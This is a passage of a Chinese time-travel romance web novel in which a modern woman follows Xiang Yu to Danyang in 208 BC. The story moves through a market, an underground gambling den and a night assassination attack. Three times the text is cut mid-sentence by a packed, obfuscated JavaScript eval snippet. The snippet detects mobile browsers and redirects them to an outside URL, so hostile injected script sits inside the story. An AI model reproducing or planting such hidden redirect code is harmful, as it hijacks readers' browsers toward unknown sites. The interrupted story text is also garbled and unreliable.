昨晚梦魇惊醒之后,她便听到项羽和人谈话,凶徒已经提供了同伙的名单,现在就这么走了,那些坏人就不抓了吗? 项羽低头,看见了虞苋眼中的不解,知道她在害怕什么,故意一脸无所谓的说道:“事有轻重缓急,我还有更为重要的事情要办,自然是办更为重要的事情。” 虞苋:“可是……” 他道:“害怕被报复?” 虞苋没反驳,咬唇道:“听说这些细作传递消息的方式可多了,万一他们得知了我是告密者,会想要我死的吧。” 项羽上下打量她,略微嫌弃道:“怕成这样?” 她老实点头:“对,我就是个小老百姓,我当然怕。” 项羽“啧”了一声,没好气道:“你不信我能护得住你?” 虞苋闻言,手扶着船上的护栏,小声嘟囔道:“项将军即便你很厉害,可你也没有三头六臂,总有不在我身边的时候,而人最为狡猾不要脸,想要杀我报复总能找到机会的。” “你想得还挺多。”他道,“若是事事都要我亲历亲为,我还养着这些下属做什么。” 项羽语气嫌弃:“这件事我已经交代人下去办了。” 虞苋:“好吧。” 是她视野窄了。 略过这个话题,虞苋扭头询问道:“对了将军,我们去丹阳做什么?” 他眼神一冷:“劝你不该问的别问。” “好的。” 虞苋赶紧闭嘴,装成老实人。 她憋了一会儿,又挪步靠近项羽,歪头看着他:“将军,我能不能问你最后一个问题?” 项羽:“……说。” 虞苋道:“现在是哪一年?” 他眼神审视的看着她:“你怎么连这是哪一年都不知道。” 她没有找理由,理直气壮道:“就是不知道啊。” 虞苋知道项羽是误会了她的家人也在那艘船上遇难了,便低头故意哽咽道:“家人的忌日还是要记住的。”知道这是哪一年,才能知道现在的历史节点。 项羽闻言道:“如今是胡亥上位第二年,而今日是四月十七。” 原来她穿来的那天是四月十五,这一年是秦二世二年。 得知现在是哪一年之后,虞苋脑中立即定位到这两年发生的历史大事件上。 在秦二世元年七月,陈胜吴广起义,陈胜自称楚王,各地纷纷响应。 九月,刘邦起兵于丰县。 同月,项羽斩杀会稽郡守殷通,与其叔父武信君项梁起兵于吴县。 秦二世二年十二月,陈胜被秦国大将章邯打败,就此失踪,于是楚地一部分起义军推选景驹为新楚王,身处会稽郡的武信君项梁不认可景驹,双方内斗。 四月,项梁斩杀了新楚王景驹,楚地的起义军群龙无首。 而如今已经是四月十七,历史正进展到项梁斩杀了景驹。 在下个月,项梁会邀请楚地反秦起义军于薛县召开会盟,商议新王之事。 六月,范增献策项梁,让楚怀王后代熊心作为新的楚王,以安定各地起义军的心,得到了项梁和各地起义军的认可…… 若是跟着项羽去了薛县,说不定就能见证了历史了呢。 不过听说这熊心在范增向武信君项梁推举他为新的楚王之时,已经落魄到成为了一个放羊娃了,后来又被项羽推举为义帝,可见命运真是太奇妙了。 虞苋想着这件事情,又没忍住长叹了一口气。 项羽以为她心中不安,不由清了清嗓子,与她解释道:“对了,我也不想当你口中趁人之危的小人,如今你刚失去了亲人,我暂时不会对你做什么。” 她抬头:“真的假的。” 项羽颔首:“我犯不着骗你。” 虞苋凑上来,扯扯他的衣摆,软乎乎道:“你人真好。” 项羽见她眉眼带笑,心中又有些不爽了,抿嘴面色不悦。 他似乎对这个来历不明的女人太过于容忍和关注了。 然而到了晚上,项羽心中被挑起的不爽便消散,转而变成了对她咬牙切齿。 古代的交通不便,走水路会比陆路快一些,但也比不上现代科技的速度,需要在船上待上几日才能到丹阳。 亥时。 虞苋突然从床榻上惊醒,冷汗淋淋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736941|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着陌生的房间,心脏空荡荡的。 缓了一会儿,她才意识到由于项羽暂时没有睡她的兴趣,今日已经让人收拾了隔壁的客房给她休息,因此这个房间里只有她一人。 烛台的蜡烛已经燃尽,四周很黑,伸手不见五指。 完了。 此时她身边没人又做了噩梦,突然感觉房间四处都有眼睛盯她。 她赶紧将被子蒙头,浑身缩成一团,可没一会儿虞苋就感觉到喘不过气,伸头透出被子呼吸新鲜空气,如此反复两三次,背后的寒凉始终挥之不去,感觉整个人被冷汗浸湿了。 虞苋立即爬起来连鞋都顾不上穿,抱起被子赤脚跑到了项羽房间门口,用肩膀“砰砰砰”砸门。 云层遮挡了月亮,外面更黑,夜风吹得她起了一身鸡皮疙瘩,吓得腿脚都软了。 好一会儿,门被打开。 虞苋头都没抬,往房间里面挤,然后被对方的手抵住脑门,拦住了去路。 项羽无语:“大半夜不睡觉,跑来我这里做什么。” 她还是不敢看对方的脸色,毕竟谁大半夜被吵醒都不会高兴的,只敢伸出一只手扯了扯他的衣摆,低着头小声撒娇道:“将军,我一个人害怕,能不能让我和你待在一个房间,我睡地上就好,保证不会再吵到你的。” 项羽皱眉:“梦魇了?” 虞苋闻言有些尴尬,脚掌在地板上划拉两下,小声的“嗯”了一声,有点害臊。 他提醒道:“你最好想清楚,我虽答应你暂时不碰你,但我毕竟也是一个男人,面对一个妙龄女子可不一定能忍得住。” 闻言,虞苋犹豫。 她又回头看了一眼身后,黑漆漆的,不敢再走回头路。 虞苋眨了眨眼睛,睫毛跟着颤啊颤,思考了一瞬间,便点头道:“将军不是那种人。” 项羽反问:“我说我是呢?” 她不要脸地开口:“那我本来就是将军的侍妾啊。” 呜呜呜。 虞苋简直欲哭无泪,她现在是真的有心理阴影了,完全不敢一个人睡。 项羽的手捏住她的下巴迫使她抬头,上下打量着她惨白惨白的小,看上去还真是吓得不轻。 “进来吧。” 他松开手,让出一个身位。 虞苋赶紧抱着被子进去,乖巧地将被褥铺好在地上,然后仰着脑袋羞涩一笑。 “项将军,你人真好。” “赶紧睡。” “好的。” 睡不睡得着另说,可虞苋却感觉如影随形的冷寒,却已然消失无踪。 她闭眼假寐,半夜,却又爬起来,端坐在榻前,微眯着眼睛,打量项羽。 莫非是那晚自己惊惧太甚,情绪激化,又正巧为他所救,对他生出了雏鸟情结? 如今是秦二世二年,也是公元前208年,项羽二十四岁,而他死于三十一岁,从登上历史舞台,再到惨烈退场,也就七年多的时光,却活得轰轰烈烈。 那就是说跟着他,至少还能活七年。 啧啧。 既然身边有他才不会害怕,不如…… 现在就睡了他。 早晚的事。 虞苋本就是个急性子,心下这样想,忍不住伸出了罪恶的小手…… 5. 第 5 章 虞苋想要做恶的小手被人抓住了,她抬头便对上了项羽的冰冷的眼神。 她心尖微颤,尴尬一笑:“项将军没睡啊?” 项羽无语:“要是有人近身我都发现不了,早就死了八百回了。” 他道:“大晚上不睡觉,又想整出什么幺蛾子?” 虞苋看着他的冷脸,刚刚上头的心思顿时浇灭了,清了清嗓子道:“刚刚睡着,做噩梦了。” “撒谎。” 项羽凑近,眼神幽深,警告道:“即便你提供了细作画像,你也只是个来历不明之人,行事不要过于放肆。” 虞苋:“我现在是将军的侍妾,是将军的人,不是来历不明的人了。” 项羽松开手:“牙尖嘴利。” 他的脸隐藏在黑暗中,看得并不真切,周身给人的感觉很冷,对她接二连三的行为似乎已经忍耐到了极点。 更怂了。 虞苋像液体一样默默地滑落,捞起地上的被子盖在了自己的头上,闭上眼睛放缓呼吸假寐。 项羽:“……” 出息。 一夜无梦。 船到了丹阳之后,项羽让一部分人留守在船上,虞苋没见过秦朝的城池,便求着让他带她一起进城。 入夏之后,雨水渐多。 项羽问她:“你会骑马?” 虞苋:“不会。” 她笑眯眯道:“你带我就好了呀。” 项羽低头看她,却见她眼中含住期待,垂眸思索了一会儿,便道:“可以带你进城,不过你不能乱跑,得收起自己的好奇心,别多问。” 虞苋乖巧的点头:“项将军,你知道的,我一向是很乖的。” 这个时候可没有什么水泥沥青,城外的路全是黄泥巴,马蹄踩上去,溅起了水塘中的水。 项羽没打算暴露身份,带着虞苋等人扮成了客商进了城。 入城之后,泥路便成了青石板路,沿着青石板路往下走,是两排低矮落错的民房。 城中门户紧闭,甚少有人走动,偶尔路过之人,身上都是配有械具。 虞苋坐在马上,神色恹恹地,脸上很是憔悴。 完了。 她又忍不住叹了一口气。 是真的穿越。 认命吧。 此时天上又开始下起了绵绵细雨,前方有一个客店,项羽带着众人进去躲雨。 项羽率先下马,虞苋见状,赶紧说:“项将军,你能不能扶我一把,这马没有马鞍和马镫,又长得太高了,我不敢自己下,怕被摔着。” 项羽疑惑:“马鞍和马镫是什么?” 虞苋也被问得愣了一下,低头看着项羽,他脸上看不出什么情绪,似乎只是随后一问。 对哦。 这时候还没有马鞍、马镫和马蹄铁呢。 她突然灿烂一笑。 身为后世之人,果然是站在了巨人的肩膀看世界,即便是她这样的普通人,也是能有些用处的。 项羽见她笑眯了眼,皱眉道:“你又在笑什么?” 虞苋摇头:“没什么。” 对方没在多问,众人下马之后,便进了客店之中。 店中有不少的游侠和剑士,大多数人身上都有一种亡命之徒的气质,看上去十分的不好惹。 虞苋扫视了一圈,感觉到不少人的目光扫在她的身上,便立即低下了脑袋。 如今看外面这个情形,她赖上项羽的思路是对的。 项羽见她缩成一团,以为她是被吓到了,大手领着她的衣领,将她带到了身后,目光冷厉的扫了一眼四周。 他穿着不凡,又带着亲卫,身上佩剑,且剑柄和剑鞘都有宝石点缀,一看便知出身显贵,不好招惹得罪,众人便都将打量虞苋的目光移开了。 不过城中来了一队富商,富商里面还带着一个美人的消息,倒是从客栈里传了出去。 此时,项羽给了她倒上一杯热茶,颔首道:“喝口热茶暖暖身子。” 虞苋扭头,看见他带来的人有一半已经不知所踪,也不知道去了哪里,想到她答应项羽不去打探他们来丹阳做什么,便又把到嘴的话给咽下去了。 她嘬了一口热茶,便听到游侠们在讨论项梁斩杀景驹之事。 “武信君乃是出生项氏,世代为楚将,到底是不愿奉他人为主。” “难不成他想要自己当楚王不成?” “项梁不服景驹为楚王,可他当楚王,其他诸侯们安能对他服气?反正便我是不服气的……” “……” 项羽闻言脸色青黑,伸手握上了腰间的长剑。 虞苋睁大了眼睛,赶紧放下杯子,伸出手按上了项羽的手:“你要干什么?” 项羽皱眉:“他竟敢议论叔父,简直是不知死活。” 她道:“可是你身上不是还有要事吗?” 项羽低头看她:“放心,我死不了。” 他冷笑一声:“而且,你是我的女人,他们竟敢以下流的眼神看你,我上前决斗合情合理。” 虞苋脑子嗡嗡叫,见他起身,她赶紧抱住了对方的臂膀,气道:“你坐下。” 项羽回头看她。 女郎的眼睛里带着浓浓的怒火,看见他回头,下意识的退后了一步,垂着脑袋,低声道:“雨停了,我想逛逛集市,一个人不敢去,你能不能陪陪我。” 他见微风拂面将她脸颊的碎发吹乱,话落之后似想起了自己的处境,眼神之中的恼怒又变成了怯怯地恳求,身上的馨香丝丝缕缕钻入鼻间。 变脸还挺快。 项羽道:“娇气。” 外面的雨确实已经停了,项羽心中的怒气随着虞苋的打岔渐渐散去。 石板长了青苔,雨水过后,石板湿润,走在上面还有些滑。 屋檐在滴水,虞苋站在店门口,伸手接住滴落的水,感觉雨水冰冷,又默默地擦拭掉。 到了市集,这里倒是和民房那边很不一样,里面很是热闹,有贩卖牛羊马的,也有买卖各种粮食的,吃的玩的都有,看上去倒是有些人气了。 除此之外,虞苋还看见有一群人被麻绳绑在一块,身上几乎衣不蔽体,眼神或麻木或凶狠或讨好,正被市集上的人挑选。 “这些人是奴隶。”项羽淡淡道,“跟紧我,若是走丢了,我可不会费心寻你。” 虞苋忍不住又看了一眼,见到一个少年奴隶凶恶的瞪她,她心下一惊,赶紧低头。 再鼓起勇气抬头时,少年无声的嘲笑她,似乎被她害怕的反应愉悦了。 等她回神,周围没人。 项羽不见了踪影。 虞苋左看右看都不见他人。 虞苋此刻的慌张无法用语言来形容,感觉头脑眩晕,耳朵里出现尖锐的长鸣。 周围的行人来往,却都不是他。 他是不是嫌她没用,不要她了,故意将她丢下的。 想到了刚才那个少年的眼神,若是没有人庇护,她是不是也会变成被人待价而沽的奴隶? 她忍不住往前去追。 或许他就在前面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736942|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小女郎,你一个人?” 沙哑的声音传来,虞苋慌乱扭头,见一个头发花白的老头正坐在羊圈旁,下巴留着山羊胡子,长得倒是慈眉善目的。 “不用看了,是我在唤你。” 虞苋现在可不信混乱世道真有善良的人,她的神色格外警惕:“你唤我做什么?” “你在寻人吧?”他招了招手,“我知道他们在哪,我可以带你去找人。” 果然是坏人。 定然是想要骗她去偏僻的地方套麻袋。 她可不蠢。 这种老套的骗术骗不了她。 虞苋强装镇定道:“我没在寻人,就是一个人转转。” 她害怕对方有同伙,光天化日之下就敢对她动手,说完便要走。 老头没拦。 市集上的摊位上有卖傩戏面具,面具都可怖得紧,大红大黑,就像是梦魇中的凶神恶鬼。 虞苋摸了摸自己的脸,忍不住到了摊位前看了看,又摸了自己空荡荡的口袋,走到了路边蹲下,捡起一根枯木在地上划拉。 她心中酸涩,咬着嘴唇,左顾右看,就是没有熟悉的身影。 便又低下了头。 眼眶中蓄满了眼泪,却还强忍着不愿落下来。 即便没有他项羽,难不成自己就真的活不下去了? 正在虞苋想要离开市集之时,面前出现了一双穿着草鞋的脚。 是刚刚的那干瘪老头。 他凑近道:“小娘子,怎么着,还寻不到人?” 虞苋起身后退一步:“这不管你的事。” “羽?”老头低头看见了地上的字,口中将字念叨着了出来,随即直起身子,眯着眼睛上下打量她,“你的这字是秦隶,你是秦国之人?” 虞苋低头一看,发现自己无意间,竟然在地上写下“项羽”二字,“项”字在她后退时踩了个脚印已经看不出来。 秦隶最开始是隶人身边流传,文字传到秦皇嬴政面前,嬴政见隶书的笔画比小篆的笔画简洁,于是传令推广至天下。 而隶书中的“羽”与现代的简体字无甚差别。 她心下微惊。 如今在楚地,楚人相当仇恨秦人,若是被误认为秦人,她其岂不是要完蛋? 虞苋清了清嗓子,假装一脸疑惑:“你既然识得秦隶,大抵应该清楚,这些文字早已在民间流行,不过是被秦人整理使用罢了。况且秦隶早以推行至各地,我认识又有什么奇怪的,何至于以此断定我为秦人。” “这倒是。”老头摸了摸下巴的山羊胡子,“没想到你一个妇道人家,对秦国之事倒是了解得不少。” 虞苋不欲多言:“你关心我是哪里人作甚?我来自哪里跟你可没关系。” 说完就要走。 她在这个时代无亲无故,原本以为能够赖上项羽,没想到出来一圈,竟是被抛弃了。 不过也是。 项羽早就跟她说过了,他身边不留无用之人。 当时说好了给他当侍妾,也没做到一个侍妾应做的本分,还跟他犟嘴,所以他不要她了也很正常。 早知道刚刚提及马鞍马镫之时,她就应该说清楚这两样的用途,如此也能证明自己是有点用处的。 长睫无意间抖了抖,眼眶的眼泪瞬间滚落,滴在了青石板上,又融入了湿润的石板上消失不见。 她强装镇定,假装自己没哭。 老头好声解释道:“我原是想提醒你,你要找的人就在对面,没想到你一个小女郎防备心还挺重。” 6. 第 6 章 虞苋闻言立即抬头,顺着老头的目光看去。 在市集的槐树下,身姿挺拔的青年手上拿着一包树叶包裹的炒栗子,正大步朝着她走来。 咦咦咦? 虞苋赶紧抹掉了脸颊的眼泪,急冲冲的跑到了项羽面前,又赶紧刹住了脚步。 她睫毛上还挂着晶莹的眼泪,眼眶里红通通的,里面委屈害怕的情绪还没有消散。 “将……”想到项羽是扮成客商进城的,虞苋赶紧住嘴,伸手怯生生地抓住了对方的衣摆,“别丢下我。” 项羽将栗子递给她:“先垫垫肚子。” 她适时的感觉到肚子饿了,忍不住接过栗子,仰头去看对方表情。 项羽的面容依旧冷硬,脸上看不出什么情绪,似乎并不知道刚才她因为惶恐被丢下而做出的丢脸的举动。 她捏紧被叶子包裹的栗子,感觉到手上的温度,吸了吸鼻子,心中那股惶恐不安的情绪依旧如影随形。 项羽伸出手,用指腹擦掉她脸上的泪痕,淡笑:“脾气不小,胆子却不大。” 虞苋:“……” 他道:“等下跟我去个地方。” 虞苋声音还有些哑:“要去哪?” 他走到了旁边卖面具的摊位,颔首道:“要两副素白面具。” 摊主原也带着面具,闻言上下打量二人两眼,将两副面具递上来:“诚惠,半两。” 虞苋还在琢磨着半两是多少钱,项羽便已经干脆的付了款。 秦国统一六国之后,车同轨书同文,并且统一了货币,如今的人用的铜钱是方口圆币,珠钱的形制便延续了两千多年。 她瞥了一眼,发现自己并不知道,货币的购买力,随即有些苦恼,如今可真成了睁眼瞎了。 等虞苋回神,记起了刚才的老头,正想要跟项羽提起他,环视一周却没有再发现那老头的身影,不由小声道:“将军,你看见刚才和我待在一处的老头了吗?” 项羽道:“那个卖羊翁?” 她点点头:“刚才我误会他是坏人,想要给他赔罪的,只是他的羊还在,人却不见了。” 项羽声音冷淡:“许是他不想和我打交道,先行离开了。” 他将其中一个面具递给虞苋,道:“戴上吧。” 虞苋将面具接过,拿在手里看了一眼,面具是白色的,唯有嘴巴上涂了朱红色,看上去渗人得紧。 这么丑? 项羽已经将面具戴上了,见虞苋还在犹豫,伸手拿过面具,低头给她将面具带在头上。 他本就长得高大,离得近些,能挡住她所有的视线,眼中便只剩下对方一人的身影。 又闻到了淡淡的龙涎香,让虞苋昏沉的脑袋越加的昏沉。 项羽抬头对摊主道:“麻烦带路。” 虞苋正疑惑,手被对方温暖炙热的大手握住,拉着她跟在摊主后面。 两人走了没多久,到了一个矮小的茅屋前,屋前有两个壮汉守着,见到是摊主带来的人,让开了身位:“二位请进。” 虞苋忍不住道:“你不会拉我去卖了换钱吧?” 她浑身戒备。 项羽闻言,睨了她一眼:“你肩不能扛,手不能提,身娇体弱,不事生产,谁愿意将你买回去。” 说话间,两人走进了茅草屋,里面是一个窄小的通道。 虞苋最近鼻子跟狗鼻子一样灵,特别是对于血腥味的灵敏度,她刚跟着项羽往里面走了几步,便闻到了浓郁的血腥味。 周围阴凉凉的。 这样她想起了以前去过的屠宰场,里面也是这般浓郁的血腥味,周围冰冷异常。 她忍不住抓紧了项羽的手。 项羽回头:“别怕。” 走出黝黑的通道之后,发现原来这里竟然别有一番天地。 周围点了亮堂堂的火把,一边是斗兽场,两只棕熊在场内搏斗;一旁是赌场,正在开大小。 里面的人全部都带着面具,周围嘈杂,乌烟瘴气的,恍惚间好像进入鬼蜮之中。 这里是丹阳城中的地下赌场。 赌徒真是在哪个时代都有。 虞苋忍不住道:“郎君,我们来这里做什么?” 项羽淡淡道:“这里鱼龙混杂,各种各样的人都有,方便打探消息。” 原来如此。 作为贵族将领的项氏公子,都出没在这里,确实称得上是鱼龙混杂。 她腹诽。 虞苋倒是好奇他要打探什么消息,却有碍于项羽还没有把她当成自己人,只能跟在项羽的身后。 她从来没有来过这样的地方,手紧张得出了汗,感觉掌心黏腻得很,想要挣脱对方拿手帕擦手,又怕待会项羽便不牵她,会像刚才在市集上那样和对方走散了。 可不敢再走散。 特别是这种地方,跑都跑不掉。 就在她想着事情的时候,项羽已经带着她找到了一个壮汉,他与那人低语两句,又将一袋钱递给了他。 壮汉收起钱袋子,眼神审视的看了他们两眼,便将他们二人带入了一个只亮了一盏油灯的房间。 “老四,有人找。” “谁找我?” 昏暗的房间里,头发花白的老头躺在杂乱的榻上,脸上亦是带着面具,半眯着三角眼打量着来人。 项羽从怀中拿出一枚玉佩,开门见山道:“我想寻找玉佩的主人,请君开个价。” 老头看到玉佩,眼神一缩,连忙爬起来,凑近观看,欲言又止:“你手里怎么有此人的玉佩?” 虞苋还跟在项羽的身后,目光落在了透雕龙纹玉佩上。 项羽已经将玉佩重新收好,冷声道:“你只管回答我,可知道此人的下落即可。” 老头低头思索,又回头看了一眼,眼中精光微闪:“你是楚国人?” 项羽颔首。 他道:“三日后,你再来,此人的消息,我定奉上。” 老头到项羽身边,对着他比划了一下:“我要这个数。” 项羽:“可。” 老头的目光扫到了虞苋身上,见她面具下的眼睛圆溜溜地在转,看上去机灵得紧,不由询问道:“小女郎看上去非楚人,你从何而来?” 从两千两百年以前穿越而来。 虞苋微笑:“不告诉你。” 她又道:“我倒是觉得你的声音,倒是有些耳熟,像是在哪里听见过呢。” 老头噎住,声音略紧:“你听错了。” 她没在搭理对方,小手捂着胸口,仰头看项羽:“郎君,我胸口闷,可以走了吗?” 项羽握紧她的手,看着老头道:“我们就先告辞了。” 老头赶紧提醒道:“三日后,还是这个时辰,这个地点,记住了。” 走出房间之后,斗兽场上的棕熊已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736943|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被赶回了笼子里,场上被换成了两个奴隶。 这时有一个穿着褐色布衣的男人带着面具上前:“两位,可要玩一把?规则很简单,压场上二人的谁生谁死即可。” 虞苋的目光穿过人群,落在了斗兽场上的奴隶身上,他们都被带着重重的铁链,脸上和身上还有伤痕。 她不忍再看,忍不住道:“既然是斗兽场,怎么还斗人呢?” 那人解释道:“若是赢下十场,便能恢复自由身,若有贵人看上了他们的本事,还能有个不错的去处,他们是自愿上场的。” 自愿上场? 若非是没得选,谁愿意以命相搏? 原来这里如此浓郁的血腥味,不是来自于野兽,而是来自于斗兽场上的人。 虞苋仰头去看项羽,发现对方对此见怪不怪,她感觉呼吸困难,拉着他的手小声道:“郎君,我喘不过气了,我们先出去好不好?” 项羽低头看她脸色苍白,握着她的大手收紧:“好,我们先出去。” “你们真不玩一把再走吗?比试快开始了。” “不必了。” 等两人出了赌场,项羽派出去的手下也回来了,其中一人在他耳边耳语了一会儿。 项羽吩咐:“天色快暗了,找间客店先休息一晚,明日再接着打探。” 属下稽首:“诺。” 另一边。 见项羽带着虞苋离开之后,老头摘下了面具,赫然是在市集上卖羊的老头。 他面上微变:“又是来寻君上的,怕是来者不善啊。” 老头从暗门离开,进了一座府邸,在门口叩击两下:“君上。” 门从里面打开,穿着玄衣的少年走出来,声音沙哑低沉:“是武伯啊,寻吾何事?” 少年长得唇红齿白,眉清目秀,身材挺拔优越,一看便知是养尊处优的贵族公子。 武伯道:“城中新来了一队客商,刚进城,便派下属在城中打探君上的消息,与之前来打探君上行踪的一样,都是楚人。” 熊心冷笑:“吾已然沦落到放羊为生,这些人寻吾作甚?” 二人走到了亭中。 武伯继续道:“武信君斩杀了楚王景驹,此时楚地无主,加上此前已有消息传来,项梁想要寻找楚怀王后代为新的楚王,统御楚地义军,以求堵住悠悠众口,合力伐秦,我担忧他们是为此事而来。” 少年微笑:“想让吾做傀儡罢了。” 他道:“都只是都说自己是楚人,究竟谁才是武信君的人,谁是秦朝派来的探子假扮的呢?” 武伯神色不解:“君上为何有这样的困惑?” 熊心将一封密信递给武伯,低低地笑了:“赵高已经派来了刺客,怕是想要先武信君一步找到吾,杀了吾,以绝项梁的心思。” “城内新来的客商队伍里跟着一位美貌女子,我上前试探了一番,见那女郎识得秦隶,应该是秦人。” “盯紧他们。” “喏。” 见武伯要走,熊心将人拦住,低声道:“想办法将两方人马碰到一起,让他们先斗上一斗,发现秦人密探则立即斩杀。” 武伯:“喏。” 将事情安排下去,少年倒是话音一变,揶揄一笑:“对了,武伯平日里古板得很,你口中所说的秦人女子究竟有多好看,能被你都忍不住夸上一句貌美?” “堪为国色。” 7. 第 7 章 武伯在丹阳是地头蛇,加上混迹民间,很快将假消息混入江湖,并且在三日后将假消息传给了项羽。 同时又将项羽已寻到楚怀王的消息散布给了另一方势力。 整个丹阳城,私下暗流涌动。 四月二十三日,一整日都在下雨,伴随着惊雷阵阵。 亥时。 虞苋关紧了窗户,回头看见项羽坐在昏黄的烛光下,正拿着手帕在擦拭剑身,他面容在剑刃反射的白光下显得格外的冰冷。 她默默坐到他对面。 此时项羽目光扫到虞苋身上,看着她低垂着头,葱白的手指缠绕着鸦黑色的发,露出的白皙的脖子,小脑袋瓜不知道又在想什么事。 他将剑入鞘,提醒道:“今晚早点睡,无论外面发生什么动静,都不要出门。” 虞苋试探道:“将军,今晚会发生什么事?” 项羽没回答,声音冷冽:“早点休息。” 闪电划过夜空,骤然亮成白昼。 此时,项羽已经转身走出房间,将房门关上。 她泠泠的目光落在了被对方关紧的门上,感觉周围空荡荡的,赶紧吹灭了房间里的灯,跑到床上裹紧了小被子。 等下不会出事吧? 害怕。 时间不知不觉已经来到了后半夜。 雨夜潮湿,细雨从窗边的缝隙中飘了进来,腥臭的血味同雨水一起,侵入到了房间里。 虞苋身体气血不足,晚上睡觉时经常手脚冰冷,此时整个人蜷缩在榻上,被子蒙着脑袋睡得迷迷糊糊的。 她骤然惊醒,浑身汗淋淋。 外面兵器交接,刺耳的声音似要冲破耳膜,仔细听,能听见雨中器具划破皮肉的声音。 嘶—— 外面在打架。 她浑身起鸡皮疙瘩,脑子里嗡嗡叫。 此刻虞苋在房间里,看不见外面具体是什么情况,未知让惶恐不安的情绪放大。 她已经完全睡不着了。 明知道好奇心害死猫,虞苋还是穿上鞋走到了窗边,偷偷地打开了窗户的一条缝,打算观察观察。 浓稠的黑夜,雨水被风一吹,细雨从窗户缝里飘进来,和着浓郁的血气。 “噗。” 很轻的一声。 虞苋脸上感觉到一股温热,还来不及思考是什么溅到了她的脸上,圆润的眼睛便对上了一对妖冶的重瞳。 在项羽身后有黑影袭来,他反手直接将人斩首,为了护她,身上来不及避让,被喷涌的血溅了一身。 她愣住。 杀、杀人了? 正好出现了一道闪电。 对方的身上脸上全是血,此时他身上的衣裳被雨水打湿,头发和衣裳都在滴着血水,周身气势冷冽,如同地狱爬出来的修罗恶鬼。 人血的腥味比那晚的还要浓郁,一点一点的刺激着人的大脑感官。 项羽皱眉,轻喝:“躲好,别出来。”他伸手将窗户关紧,隔绝了她的视线。 虞苋拿出手帕将脸上的血擦拭干净,血腥味仍然挥之不去,腿脚却已经软得挪不开地。 她蹲下捂住嘴巴,压下口中反胃,脑子里乱哄哄的。 “如此胆小?” 虞苋警醒地随着声音看去,却见房梁上出现一个少年。 少年身上穿着红衣,脸上带着素白面具,一双眼睛正狭促地看着她。 少年开口:“姿容秀美,身姿娇媚,的确能称之为国色之姿。” 外面的雨越大,闪电惊雷越加密切。 虞苋吓了一跳,忍不住往后缩:“你什么时候进来的?” 走路都没有声音的。 他从梁上一跃而下,在黑夜中,仿佛是夜猫,行动轻飘飘地没有声音,淡笑道:“原是想看一场好戏,没想到外面的打斗声太大把你给惊醒了,倒让我发现了原来榻上竟然还藏着一个美娇娘。” 少年的声音压低,带了些许沙哑,眼神却放肆打量她。 虞苋好声好气地劝解道:“既然是看热闹,我劝你可以走了,等下郎君将外面人处理完,见到房间里有外人,定是要生气的。” “我也想走。”他掏出一把匕首,贴在虞苋的脖子上,“不过我暂时不想暴露,只能杀你灭口。” 她心中害怕,深吸一口气,又继续解释道:“你带着面具,别人看不见你的脸,不会暴露的。” 少年轻笑一声:“可是你听到了我的声音,若是下次见面,你认出我的声音,岂不被你认出来。” 虞苋:“……你高估我了。” 却不听,又低低一笑,自顾自说道:“还不如我现在就杀了你,永绝后患,倒是可惜了你这张美丽的皮囊……不如我剥下你的皮,带回去收藏起来,你觉得如何?” “不如何。”她强装镇定道,“明明我刚才都没有发现你,是你主动暴露在我眼前,你要杀我便杀,何必找理由?” 虞苋闭眼,梗着脖子。 想杀就杀吧。 下一刻窗户暴力破开,随着“叮”的一声剑鸣,她的腰被坚硬的胳膊禁锢,整个人被带到了男人的身后。 呼~ 风动。 红衣少年已飘然离去。 项羽松开虞苋,用剑反手挡住了院中刺客紧追而来的一刀,回身挑剑,轻易抹掉刺客的脖子。 血喷洒了一地,同时溅到了虞苋的身上,血直接淋了满头。 虞苋:“……” 打斗持续了将近半个时辰,前来刺探的探子才被尽数斩杀。 外面的瓢泼大雨还没有停,雨水冲刷这地上的人血,混合一起,流入了排水沟之中。 尸体就像是屠宰场的猪,被人拖拽着堆在院中,快有一座小山高。 虞苋身上脸上都有血,缩在了房间的角落瑟瑟发抖,神色极为萎靡。 她怕了。 真的怕了! 此时有人来报:“将军,来者一共十八人,都是个中好手。” “知道了。”项羽擦拭手上的剑,眼皮都没台,“去叫柴房准备热水。” 等下属离开后,房间里重新恢复了静谧,只能听见外面的雨声。 烛台上的蜡烛全部被点燃,房间里很是亮堂,能看见地板上沾染的血迹已经变黑,瘆人得很。 项羽睨了她一眼:“你畏惧我?” 虞苋回神,弱弱抬头。 对方杀人时下手果断,丝毫不拖泥带水,杀人如人饮水,连眼皮都没有动一下。 她怕到不敢说话,感觉自己一说话就要吐了,只能含泪点头,想到对方又救了她一次,不能让人心寒,压着心中的惊惧赶紧摇摇头。 她道:“没有的。” 项羽走到虞苋面前蹲下,见她脸上还有血渍残留,抬手准备给她擦掉。 